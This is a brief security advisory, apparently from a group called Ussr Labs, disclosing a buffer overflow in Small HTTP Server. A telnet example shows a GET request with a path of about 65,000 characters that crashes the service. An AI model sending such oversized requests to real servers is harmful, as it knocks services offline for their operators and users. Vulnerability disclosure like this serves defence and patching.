THE PROBLEM

The Ussr Labs team has recently discovered a buffer overflow memory
problem in the Small HTTP Server.

What happens is by preforming an attack with a malformed url
information to port 80 it will cause the proccess containg the
services to stop responding.

SPECIAL NOTE: That we take no responsibility for this code it is for
educational purposes only.

Example:
The http Server (Port 80) service has a overflow in the GET command

[hellme () die-communitech net$ telnet example.com 80
Trying example.com...
Connected to example.com.
Escape character is '^]'.
GET /[buffer]

Where [buffer] is aprox. 65000 characters.

and the process containg the service crash
